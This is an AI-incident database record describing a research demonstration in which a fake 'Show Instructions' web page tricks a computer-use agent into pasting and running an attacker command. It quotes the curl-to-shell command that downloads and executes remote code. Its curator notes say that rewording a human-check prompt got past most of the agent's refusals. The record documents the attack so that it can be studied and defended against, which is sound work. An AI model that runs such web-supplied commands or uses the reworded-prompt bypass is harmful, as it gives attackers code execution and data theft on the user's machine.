Research demo
AI ClickFix: social-engineering a computer-use agent into pasting and running an attacker command
AIR-2025-0036 AIR record · 2025-05-ai-clickfix-computer-use
From the supporting source
Once the “Show Instructions” button is clicked, the command curl -s https://wuzzi.net/computer/oops.html | sh is copied to the clipboard.embracethered.com
The record
Disclosed
2025-05-24
Vendor
Anthropic
Product
Claude Computer-Use Agent
Risk domain
Access control and permissions › Privilege escalation
Also touches
Data exfiltration channels
System type
Generative model
Who acted
Agent acted — the computer-use agent pasted and ran the attacker command
Attack surface
Computer-use agent
Autonomy level
Semi-autonomous
Initial vector
Malicious web page social engineering
Impact type
Code execution, Remote code execution, Data exfiltration
Confidence
High
Submitted by
EAI Internal
Crosswalk
- OWASP Agentic Top 10 (2026)
- ASI03 – Identity and Privilege Abuse
- MITRE ATLAS
- AML.T0055 – Unsecured Credentials
- NIST AI RMF
- GOVERN 6.1
- EU AI Act
- Article 13
- ISO/IEC
- TR 24028; 42001; 23894
- AIUC-1
- B. Security
- Scope
- tool misuse
- Mitigation
- Apply least-privilege principle; Regular policy audits.
- Taxonomy
- Enkrypt AI agent risk taxonomy · Black-Box Red Teaming of Agentic AI: A Taxonomy-Driven Framework for Automated Risk Discovery
Blast radius
computer-use agents browsing attacker-controlled sites
Capability abused
Defense & remediation
Recorded defense
Claude refusal behaviour on CAPTCHA-like flows
Guardrail kinds
Unknown
Guardrail outcome
Silent
Taxonomy & references
Curator notes
Johann Rehberger. Notably, changing 'Are you a Human?' to 'Are you a Computer?' removed most refusals - the guardrail was keyed on human-handoff cues. Also reported as: 'AI ClickFix: hijacking computer-use agents with fake verification UI'.
Supporting sources
Cite as
Enkrypt AI. "AI ClickFix: social-engineering a computer-use agent into pasting and running an attacker command". AIR, AIR-2025-0036. https://agentincident.vercel.app/i/AIR-2025-0036/ (accessed 2026-10-19).